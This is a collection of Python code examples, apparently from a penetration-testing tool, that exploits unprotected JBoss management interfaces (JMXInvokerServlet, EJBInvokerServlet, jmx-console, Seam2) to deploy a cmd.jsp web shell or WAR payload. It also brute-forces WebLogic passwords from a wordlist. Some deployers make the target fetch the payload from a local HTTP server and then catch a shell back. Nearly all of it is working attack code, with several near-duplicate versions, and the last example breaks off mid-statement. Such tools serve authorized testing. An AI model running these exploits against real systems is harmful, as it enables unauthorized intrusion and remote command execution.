Example #1
0
def deploy(fingerengine, fingerprint):
    """ This deployer attempts to deploy to the JMXInvokerServlet, often
    left unprotected.  For versions 3.x and 4.x we can deploy WARs, but for 5.x
    the HttpAdaptor invoker is broken (in JBoss), so instead we invoke 
    the DeploymentFileRepository method.  This requires a JSP instead of a WAR.
    """

    war_file = fingerengine.options.deploy
    war_name = parse_war_path(war_file)

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    url = "http://{0}:{1}/invoker/JMXInvokerServlet".format(
                   fingerengine.options.ip, fingerprint.port)
    fingerengine.random_int = str(randint(50,300))


    # the attached fingerprint doesnt have a version; lets pull one of the others
    # to fetch it.  dirty hack.
    fp = [f for f in fingerengine.fingerprints if f.version != 'Any']
    if len(fp) > 0:
        fp = fp[0]
    else:
        ver = utility.capture_input("Could not reliably determine version, "
                                    "please enter the remote JBoss instance"
                                    " version")
        if len(ver) > 0:
            if '.' not in ver:
                ver += '.0'

            if ver not in versions:
                utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR)
                return
            else:
                fp = fingerprint
                fp.version = ver
        else:
            return

    if '.war' in war_file:
        tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]")
        if 'n' in tmp.lower():
                    return

        war_file = abspath("./src/lib/resources/cmd.jsp")
        war_name = "cmd"

    response = invkdeploy(fp.version, url, abspath(war_file),
                          fingerengine.random_int)
        
    if len(response) > 1:
        if('org.jboss.web.tomcat.security.SecurityAssociationValve' in response and 'org.apache.catalina.authenticator.AuthenticatorBase.invoke' in response):
            utility.Msg('Deployment failed due to insufficient or invalid credentials.', LOG.ERROR)
        else:
            utility.Msg(response, LOG.DEBUG)
    else:
        utility.Msg("{0} deployed to {1} (/{2})".format(war_name,
                                fingerengine.options.ip,
                                war_name + fingerengine.random_int), 
                                LOG.SUCCESS)
Example #2
0
def deploy(fingerengine, fingerprint):
    """ This deployer attempts to deploy to the EJBInvokerServlet, often
    left unprotected.  For versions 3.x and 4.x we can deploy WARs, but for 5.x
    the HttpAdaptor invoker is broken (in JBoss), so instead we invoke 
    the DeploymentFileRepository method.  This requires a JSP instead of a WAR.
    """

    war_file = fingerengine.options.deploy
    war_name = parse_war_path(war_file)

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    url = "http://{0}:{1}/invoker/EJBInvokerServlet".format(
                    fingerengine.options.ip, fingerprint.port)
    fingerengine.random_int = str(randint(50,300))

    # the attached fingerprint doesnt have a version; lets pull one of the others
    # to fetch it.  dirty hack.
    fp = [f for f in fingerengine.fingerprints if f.version != 'Any']
    if len(fp) > 0:
        fp = fp[0]
    else:
        ver = utility.capture_input("Could not reliably determine version, "
                                    "please enter the remote JBoss instance"
                                    " version")
        if len(ver) > 0:
            if '.' not in ver:
                ver += '.0'

            if ver not in versions:
                utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR)
                return
            else:
                fp = fingerprint
                fp.version = ver
        else:
            return

    if '.war' in war_file:
        tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]")
        if 'n' in tmp.lower():
            return

        war_file = abspath("./src/lib/resources/cmd.jsp")
        war_name = "cmd"

    response = invkdeploy(fp.version, url, abspath(war_file),
                          fingerengine.random_int)

    if len(response) > 1:
        if 'org.jboss.web.tomcat.security.SecurityAssociationValve' in response \
                and 'org.apache.catalina.authenticator.AuthenticatorBase.invoke' in response:
            utility.Msg('Deployment failed due to insufficient or invalid credentials.', LOG.ERROR)
        else:
            utility.Msg(response, LOG.DEBUG)
    else:
        utility.Msg("{0} deployed to {1} (/{2})".format(war_name,
                                fingerengine.options.ip,
                                war_name + fingerengine.random_int), 
                                LOG.SUCCESS)
Example #3
0
def deploy(fingerengine, fingerprint):
    """ Exploits Seam2 exposed by certain JBoss installs. Here we
    require the use of a JSP payload that's written into the www root.  The 5.1
    deployer here varies slightly from the Metasploit version, which doesn't appear to
    have been tested against 5.1.  JBoss 5.1 writes into a cached temp, which is regenerated
    every time that war folder is modified.  This kills the shell.

    JBoss 6.0/6.1 is the same, however, and appears to work fine.

    https://www.exploit-db.com/exploits/36653/
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = parse_war_path(war_file)
    if '.war' in war_file:
        tmp = utility.capture_input('This deployer requires a JSP, default to cmd.jsp? [Y/n]')
        if 'n' in tmp.lower():
            return

        war_file = abspath('./src/lib/resources/cmd.jsp')
        war_name = 'cmd'

    utility.Msg("Preparing to deploy {0}...".format(war_name))

    headers = {"Content-Type":"application/x-www-form-urlencoded"}
    jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp'
    jsp = None

    try:
        with open(war_file) as f:
            jsp = f.read()
    except Exception, e:
        utility.Msg("Error reading payload file '%s': %s" % (war_file, e), LOG.ERROR)
        return False
Example #4
0
def deploy(fingerengine, fingerprint):
    """ Exploits the DeploymentFileRepository bean to deploy
    a JSP to the remote server.  Note that this requires a JSP,
    not a packaged or exploded WAR.
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = parse_war_path(war_file)
    if '.war' in war_file:
        tmp = utility.capture_input(
            "This deployer requires a JSP, default to cmd.jsp? [Y/n]")
        if "n" in tmp.lower():
            return

        war_file = abspath("./src/lib/resources/cmd.jsp")
        war_name = "cmd"

    utility.Msg("Preparing to deploy {0}...".format(war_name))

    url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format(
        fingerengine.options.ip, fingerprint.port)

    data = OrderedDict([('action', 'invokeOp'),
                        ('name',
                         'jboss.admin:service=DeploymentFileRepository'),
                        ('methodIndex', 5),
                        ('arg0', war_file.replace('.jsp', '.war')),
                        ('arg1', war_name), ('arg2', '.jsp'),
                        ('arg3', open(war_file, 'r').read()), ('arg4', True)])

    response = utility.requests_post(url, data=data)
    if response.status_code == 401:
        utility.Msg(
            "Host %s:%s requires auth for JMX, checking..." %
            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            response = utility.requests_post(url,
                                             data=data,
                                             cookies=cookies[0],
                                             auth=cookies[1])
        else:
            utility.Msg(
                "Could not get auth for %s:%s" %
                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

    if response.status_code == 200:
        utility.Msg(
            "Successfully deployed '/{0}/{1}'".format(war_name,
                                                      war_name + '.jsp'),
            LOG.SUCCESS)
    else:
        utility.Msg("Failed to deploy (HTTP %d)" % response.status_code,
                    LOG.ERROR)
Example #5
0
def deploy(fingerengine, fingerprint):
    """ This deployer attempts to deploy to the EJBInvokerServlet, often
    left unprotected.  For versions 3.x and 4.x we can deploy WARs, but for 5.x
    the HttpAdaptor invoker is broken (in JBoss), so instead we invoke 
    the DeploymentFileRepository method.  This requires a JSP instead of a WAR.
    """

    war_file = fingerengine.options.deploy
    war_name = parse_war_path(war_file)

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    url = "http://{0}:{1}/invoker/EJBInvokerServlet".format(
        fingerengine.options.ip, fingerprint.port)
    fingerengine.random_int = str(randint(50, 300))

    # the attached fingerprint doesnt have a version; lets pull one of the others
    # to fetch it.  dirty hack.
    fp = [f for f in fingerengine.fingerprints if f.version != 'Any']
    if len(fp) > 0:
        fp = fp[0]
    else:
        ver = utility.capture_input("Could not reliably determine version, "
                                    "please enter the remote JBoss instance"
                                    " version")
        if len(ver) > 0:
            if '.' not in ver:
                ver += '.0'

            if ver not in versions:
                utility.Msg(
                    "Failed to find a valid fingerprint for deployment.",
                    LOG.ERROR)
                return
            else:
                fp = fingerprint
                fp.version = ver
        else:
            return

    if '.war' in war_file:
        utility.Msg("This deployer requires a JSP payload", LOG.ERROR)
        return

    response = invkdeploy(fp.version, url, abspath(war_file),
                          fingerengine.random_int)

    if len(response) > 1:
        utility.Msg(response, LOG.DEBUG)
    else:
        utility.Msg(
            "{0} deployed to {1} (/{2})".format(
                war_file, fingerengine.options.ip,
                war_name + fingerengine.random_int), LOG.SUCCESS)
def deploy(fingerengine, fingerprint):
    """ This deployer attempts to deploy to the JMXInvokerServlet, often
    left unprotected.  For versions 3.x and 4.x we can deploy WARs, but for 5.x
    the HttpAdaptor invoker is broken (in JBoss), so instead we invoke 
    the DeploymentFileRepository method.  This requires a JSP instead of a WAR.
    """

    war_file = fingerengine.options.deploy
    war_name = parse_war_path(war_file)

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    url = "http://{0}:{1}/invoker/JMXInvokerServlet".format(
                   fingerengine.options.ip, fingerprint.port)
    fingerengine.random_int = str(randint(50,300))


    # the attached fingerprint doesnt have a version; lets pull one of the others
    # to fetch it.  dirty hack.
    fp = [f for f in fingerengine.fingerprints if f.version != 'Any']
    if len(fp) > 0:
        fp = fp[0]
    else:
        ver = utility.capture_input("Could not reliably determine version, "
                                    "please enter the remote JBoss instance"
                                    " version")
        if len(ver) > 0:
            if '.' not in ver:
                ver += '.0'

            if ver not in versions:
                utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR)
                return
            else:
                fp = fingerprint
                fp.version = ver
        else:
            return

    if '.war' in war_file:
        utility.Msg("This deployer requires a JSP payload", LOG.ERROR)
        return

    response = invkdeploy(fp.version, url, abspath(war_file),
                          fingerengine.random_int)
        
    if len(response) > 1:
        utility.Msg(response, LOG.DEBUG)
    else:
        utility.Msg("{0} deployed to {1} (/{2})".format(war_name,
                                fingerengine.options.ip,
                                war_name + fingerengine.random_int), 
                                LOG.SUCCESS)
Example #7
0
def deploy(fingerengine, fingerprint):
    """ Exploits the DeploymentFileRepository bean to deploy
    a JSP to the remote server.  Note that this requires a JSP,
    not a packaged or exploded WAR.
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = parse_war_path(war_file)
    if '.war' in war_file:
        tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]")
        if "n" in tmp.lower():
            return

        war_file = abspath("./src/lib/resources/cmd.jsp")
        war_name = "cmd"

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format(
                    fingerengine.options.ip, fingerprint.port)

    data = OrderedDict([
                    ('action', 'invokeOp'),
                    ('name', 'jboss.admin:service=DeploymentFileRepository'),
                    ('methodIndex', 5),
                    ('arg0', war_file.replace('.jsp', '.war')),
                    ('arg1', war_name),
                    ('arg2', '.jsp'),
                    ('arg3', open(war_file, 'r').read()),
                    ('arg4', True)
                    ])

    response = utility.requests_post(url, data=data)
    if response.status_code == 401:
        utility.Msg("Host %s:%s requires auth for JMX, checking..." %
                        (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            response = utility.requests_post(url, data=data, cookies=cookies[0],
                                            auth=cookies[1])
        else:
            utility.Msg("Could not get auth for %s:%s" %
                                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

    if response.status_code == 200:
        utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS)
    else:
        utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
Example #8
0
def deploy(fingerengine, fingerprint):
    """ Exploits Seam2 exposed by certain JBoss installs. Here we
    require the use of a JSP payload that's written into the www root.  The 5.1
    deployer here varies slightly from the Metasploit version, which doesn't appear to
    have been tested against 5.1.  JBoss 5.1 writes into a cached temp, which is regenerated
    every time that war folder is modified.  This kills the shell.

    JBoss 6.0/6.1 is the same, however, and appears to work fine.

    https://www.exploit-db.com/exploits/36653/
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = parse_war_path(war_file)
    if '.war' in war_file:
        tmp = utility.capture_input(
            'This deployer requires a JSP, default to cmd.jsp? [Y/n]')
        if 'n' in tmp.lower():
            return

        war_file = abspath('./src/lib/resources/cmd.jsp')
        war_name = 'cmd'

    utility.Msg("Preparing to deploy {0}...".format(war_name))

    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp'
    jsp = None

    try:
        with open(war_file) as f:
            jsp = f.read()
    except Exception, e:
        utility.Msg("Error reading payload file '%s': %s" % (war_file, e),
                    LOG.ERROR)
        return False
Example #9
0
def run(fingerengine):
    """ This core module is used to load a specific platform's deployers
    and iterate through fingerprints to find one to deploy to.  If the --invoke
    flag was passed, then we automatically run invoke_war, which will invoke the
    invoke_payload module.

    By the time a deployer is called, we should have everything setup for it to work.
    """

    # before we do anything, ensure the deploying file exists...
    try:
        with open(fingerengine.options.deploy):
            pass
    except:
        utility.Msg(
            "File '%s' could not be found." % fingerengine.options.deploy,
            LOG.ERROR)
        return

    # check if we are using a random payload name
    if fingerengine.options.rand_payload:
        payload = path.abspath(fingerengine.options.deploy)
        rand = '%s/%s.%s' % (state.serve_dir, ''.join(
            choice(string.ascii_lowercase + string.digits)
            for x in range(5)), payload.split('.', 1)[1])
        system("cp %s %s 2>/dev/null" % (payload, rand))

        fingerengine.options.deploy = rand

    utility.Msg("Loading deployers for platform %s" % fingerengine.service,
                LOG.DEBUG)

    load = importlib.import_module('src.platform.%s.deployers' %
                                   fingerengine.service)

    # load all deployers
    modules = list(pkgutil.iter_modules(load.__path__))
    loaded_deployers = []

    for deployer in modules:

        dp = deployer[0].find_module(deployer[1]).load_module(deployer[1])
        if 'deploy' not in dir(dp):
            continue

        loaded_deployers.append(dp)

    # start iterating through fingerprints
    for fingerprint in fingerengine.fingerprints:

        # build list of deployers applicable to this version
        appd = [
            x for x in loaded_deployers if fingerprint.version in x.versions
        ]
        for deployer in appd:

            if fingerprint.title == deployer.title:
                if fingerengine.options.deployer:

                    # they want to use a specific deployer
                    if not fingerengine.options.deployer in deployer.__name__:
                        continue

                # if the deployer is using waitServe, ensure the user knows
                if 'waitServe' in dir(deployer):
                    r = utility.capture_input("This deployer (%s) requires an external"\
                                   " listening port (%s).  Continue? [Y/n]" % (
                                      deployer.__name__, state.external_port))
                    if 'n' in r.lower():
                        continue

                utility.Msg(
                    "Deploying WAR with deployer %s (%s)" %
                    (deployer.title, deployer.__name__), LOG.DEBUG)

                try:
                    deployer.deploy(fingerengine, fingerprint)
                except Exception, e:
                    # catch and log as debug; likely an uncaught timeout
                    utility.Msg(
                        "Deployer %s failed: %s" % (deployer.__name__, e),
                        LOG.DEBUG)

                if fingerengine.options.invoke_payload:
                    invoke(fingerengine, fingerprint, deployer)

                return
Example #10
0
def checkAuth(ip, fingerprint, returnCookie = False):
    """ Default behavior is to simply return True/False based on
    whether or not authentication with the credentials was successful.
    If returnCookie is set to true, we return the required auth cookie.

    Returns a tuple of (usr, pswd) in the event of a success, otherwise
    (None, None) is returned.
    """

    # check with given auth
    if state.usr_auth:
        (usr, pswd) = state.usr_auth.split(':')
        auth = _auth(usr, pswd, ip, fingerprint)
        if auth:
            return auth

    # else try default credentials
    for (usr, pswd) in default_credentials:

        auth = _auth(usr, pswd, ip, fingerprint)
        if auth:
            return auth

    # if we're still here, lets check for a wordlist
    if state.bf_wordlist and not state.hasbf:
    
        #
        # by default, certain WebLogic servers have a lockout of 5 attempts 
        # before a 30 minute lock.  Lets confirm the user knows this.
        #
        tmp = utility.capture_input("WebLogic has a lockout after 5 attempts.  Continue? [Y/n]")
        if 'n' in tmp: return (None, None)

        state.hasbf = True
        wordlist = []

        try:
            with open(state.bf_wordlist, 'r') as f:
                wordlist = [x.decode('ascii', "ignore").rstrip() for x in f.readlines()]
        except Exception, e:
            utility.Msg(e, LOG.DEBUG)
            return (None, None)

        utility.Msg('Brute forcing %s account with %d passwords...' % 
                                    (state.bf_user, len(wordlist)), LOG.DEBUG)

        try:
            for (idx, word) in enumerate(wordlist):
                stdout.flush()
                stdout.write("\r\033[32m [%s] Brute forcing password for %s [%d/%d]\033[0m" \
                                % (utility.timestamp(), state.bf_user,
                                   idx+1, len(wordlist)))

                auth = _auth(state.bf_user, word, ip, fingerprint)
                if auth:
                    print ''

                    # insert creds into default cred list
                    if not (state.bf_user, word) in default_credentials:
                        default_credentials.insert(0, (state.bf_user, word))

                    utility.Msg("Successful login %s:%s" % 
                                    (state.bf_user, word), LOG.SUCCESS)
                    return auth

            print ''

        except KeyboardInterrupt:
            pass
Example #11
0
def deploy(fingerengine, fingerprint):
    """ This deployer attempts to deploy to the JMXInvokerServlet, often
    left unprotected.  For versions 3.x and 4.x we can deploy WARs, but for 5.x
    the HttpAdaptor invoker is broken (in JBoss), so instead we invoke 
    the DeploymentFileRepository method.  This requires a JSP instead of a WAR.
    """

    war_file = fingerengine.options.deploy
    war_name = war_file.rsplit("/", 1)[1]

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    url = "http://{0}:{1}/invoker/JMXInvokerServlet".format(
                   fingerengine.options.ip, fingerprint.port)
    local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name)

    # the attached fingerprint doesnt have a version; lets pull one of the others
    # to fetch it.  dirty hack.
    fp = [f for f in fingerengine.fingerprints if f.version != 'Any']
    if len(fp) > 0:
        fp = fp[0]
    else:
        ver = utility.capture_input("Could not reliably determine version, "
                                    "please enter the remote JBoss instance"
                                    " version")
        if len(ver) > 0:
            if '.' not in ver:
                ver += '.0'

            if ver not in versions:
                utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR)
                return
            else:
                fp = fingerprint
                fp.version = ver
        else:
            return

    if fp.version in ["5.0", "5.1"]:
        if '.war' in war_file:
            utility.Msg("Deploying via an exposed invoker for JBoss "
                        " 5.x requires a JSP payload.", LOG.ERROR)
            return

        response = invkdeploy(fp.version, url, abspath(war_file))
        
        if len(response) > 1:
            utility.Msg(response, LOG.DEBUG)
        else:
            utility.Msg("{0} deployed to {1}".format(war_file,
                                    fingerengine.options.ip), LOG.SUCCESS)
    else:
        # start the local HTTP server
        server_thread = Thread(target=_serve, args=(war_file,))
        server_thread.start()

        # run serialization code
        response = invkdeploy(fp.version, url, local_url)

        if waitServe(server_thread):
            utility.Msg("{0} deployed to {1}".format(war_file, 
                                    fingerengine.options.ip), LOG.SUCCESS)
        else:
            utility.Msg("JMXInvokerServlet not vulnerable", LOG.ERROR)

        try:
            get("http://localhost:8000/", timeout=1.0)
        except:
            pass
Example #12
0
def deploy(fingerengine, fingerprint):
    """
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = war_file.rsplit('/', 1)[1] 
    
    # start up the local HTTP server
    server_thread = Thread(target=_serve, args=(war_file,))
    server_thread.start()
    sleep(2)
    
    # major versions of JBoss have different method indices
    methodIndex = {"3.0" : 21,
                  "3.2" : 22,
                  "4.0" : 3,
                  "4.2" : 3,
                  "6.0" : 19,
                  "6.1" : 19
                  }

    if fingerprint.version == "3.0":
        tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure.  "
                              "Ensure your WAR is compatible with 3.0 [Y/n]")
        if 'n' in tmp.lower():
            return

    utility.Msg("Preparing to deploy {0}..".format(war_file))

    url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format(
                    fingerengine.options.ip, fingerprint.port)

    data = OrderedDict([
                    ('action', 'invokeOp'),
                    ('name', 'jboss.system:service=MainDeployer'),
                    ('methodIndex', methodIndex[fingerprint.version]),
                    ('arg0', 'http://{0}:8000/{1}'.format(
                                            utility.local_address(), war_name))
                    ])

    response = utility.requests_post(url, data=data)
    if response.status_code == 401:
        utility.Msg("Host %s:%s requires auth for JMX, checking..." %
                            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            try:
                response = utility.requests_post(url, data=data,
                                            cookies=cookies[0], auth=cookies[1])
            except exceptions.Timeout:
                # we should be fine here, so long as we get the POST request off.
                # Just means that we haven't gotten a response quite yet.
                response.status_code = 200

        else:
            utility.Msg("Could not get auth for %s:%s" %
                             (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

    if response.status_code == 200:
        if waitServe(server_thread):
            utility.Msg("{0} deployed to {1}".format(war_file,
                                                    fingerengine.options.ip),
                                                    LOG.SUCCESS)
    else:
        utility.Msg("Failed to call {0} (HTTP {1})".format
                               (fingerengine.options.ip, response.status_code),
                               LOG.ERROR)

        # kill our local HTTP server
        try:
            get("http://localhost:8000/", timeout=1.0)
        except:
            pass
Example #13
0
def run(fingerengine):
    """ This core module is used to load a specific platform's deployers
    and iterate through fingerprints to find one to deploy to.  If the --invoke
    flag was passed, then we automatically run invoke_war, which will call the
    deployed WAR and attempt to catch the shell back.
    """

    # before we do anything, ensure the deploying file exists...
    try:
        with open(fingerengine.options.deploy):
            pass
    except:
        utility.Msg(
            "File '%s' could not be found." % fingerengine.options.deploy,
            LOG.ERROR)
        return

    utility.Msg("Loading deployers for platform %s" % fingerengine.service,
                LOG.DEBUG)

    load = importlib.import_module('src.platform.%s.deployers' %
                                   fingerengine.service)

    # load all deployers
    modules = list(pkgutil.iter_modules(load.__path__))
    loaded_deployers = []

    for deployer in modules:

        dp = deployer[0].find_module(deployer[1]).load_module(deployer[1])
        if 'deploy' not in dir(dp):
            continue

        loaded_deployers.append(dp)

    # start iterating through fingerprints
    for fingerprint in fingerengine.fingerprints:

        # build list of deployers applicable to this version
        appd = [
            x for x in loaded_deployers if fingerprint.version in x.versions
        ]
        for deployer in appd:

            if fingerprint.title == deployer.title:
                if fingerengine.options.deployer:

                    # they want to use a specific deployer
                    if not fingerengine.options.deployer in deployer.__name__:
                        continue

                # if the deployer is using waitServe, ensure the user knows
                if 'waitServe' in dir(deployer):
                    r = utility.capture_input("This deployer (%s) requires an external"\
                                   " listening port (%s).  Continue? [Y/n]" % (
                                      deployer.__name__, state.external_port))
                    if 'n' in r.lower():
                        continue

                utility.Msg(
                    "Deploying WAR with deployer %s (%s)" %
                    (deployer.title, deployer.__name__), LOG.DEBUG)
                deployer.deploy(fingerengine, fingerprint)

                if fingerengine.options.invoke_payload:
                    invoke(fingerengine, fingerprint, deployer)

                return

    utility.Msg("No valid fingerprints were found to deploy.", LOG.ERROR)
Example #14
0
def deploy(fingerengine, fingerprint):
    """
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = parse_war_path(war_file, True)
    
    # start up the local HTTP server
    server_thread = Thread(target=_serve, args=(war_file,))
    server_thread.start()
    sleep(2)
    
    # major versions of JBoss have different method indices
    methodIndex = {"3.0" : 21,
                  "3.2" : 22,
                  "4.0" : 3,
                  "4.2" : 3,
                  "6.0" : 19,
                  "6.1" : 19
                  }

    if fingerprint.version == "3.0":
        tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure.  "
                              "Ensure your WAR is compatible with 3.0 [Y/n]")
        if 'n' in tmp.lower():
            return

    utility.Msg("Preparing to deploy {0}..".format(war_file))

    url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format(
                    fingerengine.options.ip, fingerprint.port)

    data = OrderedDict([
                    ('action', 'invokeOp'),
                    ('name', 'jboss.system:service=MainDeployer'),
                    ('methodIndex', methodIndex[fingerprint.version]),
                    ('arg0', 'http://{0}:{1}/{2}'.format(
                      utility.local_address(), state.external_port,war_name))
                    ])

    response = utility.requests_post(url, data=data)
    if response.status_code == 401:
        utility.Msg("Host %s:%s requires auth for JMX, checking..." %
                            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            try:
                response = utility.requests_post(url, data=data,
                                            cookies=cookies[0], auth=cookies[1])
            except exceptions.Timeout:
                # we should be fine here, so long as we get the POST request off.
                # Just means that we haven't gotten a response quite yet.
                response.status_code = 200

        else:
            utility.Msg("Could not get auth for %s:%s" %
                             (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

    if response.status_code == 200:
        if waitServe(server_thread):
            utility.Msg("{0} deployed to {1}".format(war_file,
                                                    fingerengine.options.ip),
                                                    LOG.SUCCESS)
    else:
        utility.Msg("Failed to call {0} (HTTP {1})".format
                               (fingerengine.options.ip, response.status_code),
                               LOG.ERROR)

        killServe()
Example #15
0
def run(fingerengine):
    """ This core module is used to load a specific platform's deployers
    and iterate through fingerprints to find one to deploy to.  If the --invoke
    flag was passed, then we automatically run invoke_war, which will call the
    deployed WAR and attempt to catch the shell back.
    """

    # before we do anything, ensure the deploying file exists...
    try:
        with open(fingerengine.options.deploy): pass
    except:
        utility.Msg("File '%s' could not be found." % fingerengine.options.deploy,
                                                      LOG.ERROR)
        return


    utility.Msg("Loading deployers for platform %s" % fingerengine.service, LOG.DEBUG)

    load = importlib.import_module('src.platform.%s.deployers' % fingerengine.service)

    # load all deployers
    modules = list(pkgutil.iter_modules(load.__path__))
    loaded_deployers = []

    for deployer in modules:

        dp = deployer[0].find_module(deployer[1]).load_module(deployer[1])
        if 'deploy' not in dir(dp):
            continue

        loaded_deployers.append(dp)

    # start iterating through fingerprints
    for fingerprint in fingerengine.fingerprints:

        # build list of deployers applicable to this version
        appd = [x for x in loaded_deployers if fingerprint.version in x.versions]
        for deployer in appd:

            if fingerprint.title == deployer.title:
                if fingerengine.options.deployer:

                    # they want to use a specific deployer
                    if not fingerengine.options.deployer in deployer.__name__:
                        continue

                # if the deployer is using waitServe, ensure the user knows
                if 'waitServe' in dir(deployer):
                    r = utility.capture_input("This deployer (%s) requires an external"\
                                   " listening port (%s).  Continue? [Y/n]" % (
                                      deployer.__name__, state.external_port))
                    if 'n' in r.lower():
                        continue

                utility.Msg("Deploying WAR with deployer %s (%s)" %
                                (deployer.title, deployer.__name__), LOG.DEBUG)
                deployer.deploy(fingerengine, fingerprint)

                if fingerengine.options.invoke_payload:
                    invoke(fingerengine, fingerprint, deployer)

                return

    utility.Msg("No valid fingerprints were found to deploy.", LOG.ERROR)
Example #16
0
def run(fingerengine):
    """ This core module is used to load a specific platform's deployers
    and iterate through fingerprints to find one to deploy to.  If the --invoke
    flag was passed, then we automatically run invoke_war, which will invoke the
    invoke_payload module.

    By the time a deployer is called, we should have everything setup for it to work.
    """

    # before we do anything, ensure the deploying file exists...
    try:
        with open(fingerengine.options.deploy): pass
    except:
        utility.Msg("File '%s' could not be found." % fingerengine.options.deploy,
                                                      LOG.ERROR)
        return

    # check if we are using a random payload name 
    if fingerengine.options.rand_payload:
        payload = path.abspath(fingerengine.options.deploy)
        rand = '%s/%s.%s' % (state.serve_dir, 
              ''.join(choice(string.ascii_lowercase+string.digits) for x in range(5)),
              payload.split('.',1)[1])
        system("cp %s %s 2>/dev/null" % (payload, rand))

        fingerengine.options.deploy = rand


    utility.Msg("Loading deployers for platform %s" % fingerengine.service, LOG.DEBUG)

    load = importlib.import_module('src.platform.%s.deployers' % fingerengine.service)

    # load all deployers
    modules = list(pkgutil.iter_modules(load.__path__))
    loaded_deployers = []

    for deployer in modules:

        dp = deployer[0].find_module(deployer[1]).load_module(deployer[1])
        if 'deploy' not in dir(dp):
            continue

        loaded_deployers.append(dp)

    # start iterating through fingerprints
    for fingerprint in fingerengine.fingerprints:

        # build list of deployers applicable to this version
        appd = [x for x in loaded_deployers if fingerprint.version in x.versions]
        for deployer in appd:

            if fingerprint.title == deployer.title:
                if fingerengine.options.deployer:

                    # they want to use a specific deployer
                    if not fingerengine.options.deployer in deployer.__name__:
                        continue

                # if the deployer is using waitServe, ensure the user knows
                if 'waitServe' in dir(deployer):
                    r = utility.capture_input("This deployer (%s) requires an external"\
                                   " listening port (%s).  Continue? [Y/n]" % (
                                      deployer.__name__, state.external_port))
                    if 'n' in r.lower():
                        continue

                utility.Msg("Deploying WAR with deployer %s (%s)" %
                                (deployer.title, deployer.__name__), LOG.DEBUG)

                try:
                    deployer.deploy(fingerengine, fingerprint)
                except Exception, e:
                    # catch and log as debug; likely an uncaught timeout
                    utility.Msg("Deployer %s failed: %s" % (deployer.__name__, e),
                                                           LOG.DEBUG)

                if fingerengine.options.invoke_payload:
                    invoke(fingerengine, fingerprint, deployer)

                return
Example #17
0
def deploy(fingerengine, fingerprint):
    """ This deployer attempts to deploy to the EJBInvokerServlet, often
    left unprotected.  For versions 3.x and 4.x we can deploy WARs, but for 5.x
    the HttpAdaptor invoker is broken (in JBoss), so instead we invoke 
    the DeploymentFileRepository method.  This requires a JSP instead of a WAR.
    """

    war_file = fingerengine.options.deploy
    war_name = war_file.rsplit("/", 1)[1]

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    url = "http://{0}:{1}/invoker/EJBInvokerServlet".format(
        fingerengine.options.ip, fingerprint.port)
    local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name)

    # the attached fingerprint doesnt have a version; lets pull one of the others
    # to fetch it.  dirty hack.
    fp = [f for f in fingerengine.fingerprints if f.version != 'Any']
    if len(fp) > 0:
        fp = fp[0]
    else:
        ver = utility.capture_input("Could not reliably determine version, "
                                    "please enter the remote JBoss instance"
                                    " version")
        if len(ver) > 0:
            if '.' not in ver:
                ver += '.0'

            if ver not in versions:
                utility.Msg(
                    "Failed to find a valid fingerprint for deployment.",
                    LOG.ERROR)
                return
            else:
                fp = fingerprint
                fp.version = ver
        else:
            return

    if fp.version in ["5.0", "5.1"]:
        if '.war' in war_file:
            utility.Msg(
                "Deploying via an exposed invoker for JBoss "
                "5.x requires a JSP payload", LOG.ERROR)
            return

        response = invkdeploy(fp.version, url, abspath(war_file))

        if len(response) > 1:
            utility.Msg(response, LOG.DEBUG)
        else:
            utility.Msg(
                "{0} deployed to {1}".format(war_file,
                                             fingerengine.options.ip),
                LOG.SUCCESS)
    else:
        # start the local HTTP server
        server_thread = Thread(target=_serve, args=(war_file, ))
        server_thread.start()

        # run serialization code
        response = invkdeploy(fp.version, url, local_url)

        if response is not None:
            utility.Msg(response, LOG.DEBUG)

        if waitServe(server_thread):
            utility.Msg(
